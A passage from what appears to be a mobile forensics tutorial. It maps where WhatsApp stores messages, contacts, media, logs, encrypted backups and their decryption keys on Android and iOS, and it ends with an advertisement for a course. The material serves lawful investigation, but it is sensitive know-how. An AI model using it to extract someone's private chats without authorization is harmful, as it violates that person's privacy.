or /mnt/sdcard/WhatsApp/Databases/ for physical SD cards. Those backup files look like msgstore.db.cryptXX, where XX indicates the cryptographic scheme version. 

The msgstore.db.cryptXX files are an encrypted copy of msgstore.db intended for device backups. To decrypt them you need a cryptographic key that WhatsApp stores privately on the device, usually somewhere like /data/data/com.whatsapp/files/. Without that key, those encrypted backups are not readable.

Other important Android files and directories to examine include the preferences and registration XMLs in /data/data/com.whatsapp/shared_prefs/. The file com.whatsapp_preferences.xml often contains profile details and configuration values. A fragment of such a file may show the phone number associated with the account, the app version, a profile message such as “Hey there! I am using WhatsApp.” and the account display name. The registration.RegisterPhone.xml file typically contains registration metadata like the phone number and regional format. 

The axolotl.db file in /data/data/com.whatsapp/databases/ holds cryptographic keys (used in the Signal/Double Ratchet protocol implementation) and account identification data. chatsettings.db contains app settings. Logs are kept under /data/data/com.whatsapp/files/Logs/ and may include whatsapp.log as well as compressed rotated backups like whatsapp-YYYY-MM-DD.1.log.gz

These logs can reveal app activity and errors that may be useful for timing or troubleshooting analysis.

Media is often stored in the media tree on internal or external storage:

/data/media/0/WhatsApp/Media/WhatsApp Images/ for images,

/data/media/0/WhatsApp/Media/WhatsApp Voice Notes/ for voice messages (usually Opus format), WhatsApp Audio, WhatsApp Video, and WhatsApp Profile Photos.

Within the app’s private area you may also find cached profile pictures under /data/data/com.whatsapp/cache/Profile Pictures/ and avatar thumbnails under /data/data/com.whatsapp/files/Avatars/. Some avatar thumbnails use a .j extension while actually being JPEG files. Always validate file signatures rather than trusting extensions.

If the device uses an SD card, a WhatsApp directory at the card’s root may store copies of shared files (/mnt/sdcard/WhatsApp/.Share/), a trash folder for deleted content (/mnt/sdcard/WhatsApp/.trash/), and the Databases subdirectory with encrypted backups and media subfolders mirroring those on internal storage. The presence of deleted files or .trash folders can be a fruitful source of recovered media.

A key complication on Android is manufacturer or custom-ROM behavior. Some vendors add features that change where app data is stored. For example, certain Xiaomi phones implement a “Second Space” feature that creates a second user workspace. WhatsApp in the second workspace stores its data under a different user ID path such as /data/user/10/com.whatsapp/databases/wa.db rather than the usual /data/user/0/com.whatsapp/databases/wa.db

As things evolve and change, you need to validate the actual paths on the target device rather than assuming standard locations.

WhatsApp Artifacts on iOS Devices

On iOS, WhatsApp tends to centralize its data into a few places and is commonly accessible via device backups. The main application database is often ChatStorage.sqlite located under a shared group container such as /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/ (some forensic tools display this as AppDomainGroup-group.net.whatsapp.WhatsApp.shared).

Within ChatStorage.sqlite the most informative tables are often ZWAMESSAGE, which stores message records, and ZWAMEDIAITEM, which stores metadata for attachments and media items. Other tables like ZWAPROFILEPUSHNAME and ZWAPROFILEPICTUREITEM map WhatsApp identifiers to display names and avatars. The table Z_PRIMARYKEY typically contains general database metadata such as record counts.

iOS also places supporting files in the group container. BackedUpKeyValue.sqlite can contain cryptographic keys and data useful for identifying account ownership. ContactsV2.sqlite stores contact details: names, phone numbers, profile statuses and WhatsApp IDs. A simple text file like consumer_version may hold the app version and current_wallpaper.jpg (or wallpaper in older versions) contains the background image used in WhatsApp chats. The blockedcontacts.dat file lists blocked numbers, and pw.dat can hold an encrypted password. Preference plists such as net.whatsapp.WhatsApp.plist or group.net.whatsapp.WhatsApp.shared.plist store profile settings.

Media thumbnails, avatars and message media are stored under paths like /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Media/Profile/ and /private/var/mobile/Applications/group.net.whatsapp.WhatsApp.shared/Message/Media/. WhatsApp logs, for example calls.log and calls.backup.log, often survive in the Documents or Library/Logs folders and can help establish call activity.

Because iOS devices are frequently backed up through iTunes or Finder, you can often extract WhatsApp artefacts from a device backup rather than needing a full file system image. If the backup is unencrypted and complete, it may include the ChatStorage.sqlite file and associated media. If the backup is encrypted you will need the backup password or legal access methods to decrypt it. In practice, many investigators create a forensic backup and then examine the WhatsApp databases with a SQLite viewer or a specialized forensic tool that understands WhatsApp schema differences across versions.

Practical Notes For Beginners

From the databases and media files described above you can recover contact lists, full or partial chat histories, timestamps in epoch format (commonly Unix epoch in milliseconds on Android), message status (sent, delivered, read), media filenames and hashes, group membership, profile names and avatars, blocked contacts, and even application logs and version metadata. It helps us understand who communicated with whom, when messages were exchanged, whether media were transferred, and which accounts were configured on the device.

For beginners, a few practical cautions are important to keep in mind. First, always operate on forensic images or copies of extracted files. Do not work directly on the live device unless you are performing an approved, controlled acquisition and you have documented every action. Second, use reliable forensic tools to open SQLite databases. If you are parsing fields manually, confirm timestamp formats and time zones. Third, encrypted backups require the device’s key to decrypt. The key is usually stored in the private application area on Android, and without it you cannot decode the .cryptXX files. Fourth, deleted chats and files are not always gone, as databases may leave records or media may remain in caches or on external storage. Yet recovery is never guaranteed and depends on many factors including the time since deletion and subsequent device activity.

When you review message tables, map the message ID fields to media references carefully. Many WhatsApp versions use separate tables for media items where the actual file is referenced by a media ID or filename. Thumbnail tables and media directories will help you reconstruct the link between a textual message and the file that accompanied it. Pay attention to the presence of additional fields in newer app versions. These may contain payment IDs, edit history or encryption metadata. Adapt your queries accordingly.

Finally, because WhatsApp and operating systems change over time, always inspect the schema and file timestamps on the specific evidence you have. Do not assume field names or paths are identical between devices or app versions. Keep a list of the paths and filenames you find so you can reproduce your process and explain it in reports.

Summary

WhatsApp forensics is a rich discipline. On Android the primary artifacts are the wa.db contacts database, the msgstore.db message store and encrypted backups such as msgstore.db.cryptXX, together with media directories, preference XMLs and cryptographic key material in the app private area. On iOS the main artifact is ChatStorage.sqlite and a few supporting files in the app group container and possibly contained in a device backup. To retrieve and interpret these artifacts you must have appropriate access to the device or an image and know where to look for the app files on the device you are examining. Also, be comfortable inspecting SQLite databases and be prepared to decrypt backups where necessary.

If this kind of work interests you and you want to understand how real mobile investigations are carried out, you can also join our three-day mobile forensics course. The training walks you through the essentials of Android and iOS, explains how evidence is stored on modern devices, and shows you how investigators extract and analyze that data during real cases. You will work with practical labs that involve hidden apps, encrypted communication, and devices that may have been rooted or tampered with. 

Learn more:

https://hackersarise.thinkific.com/courses/mobile-forensics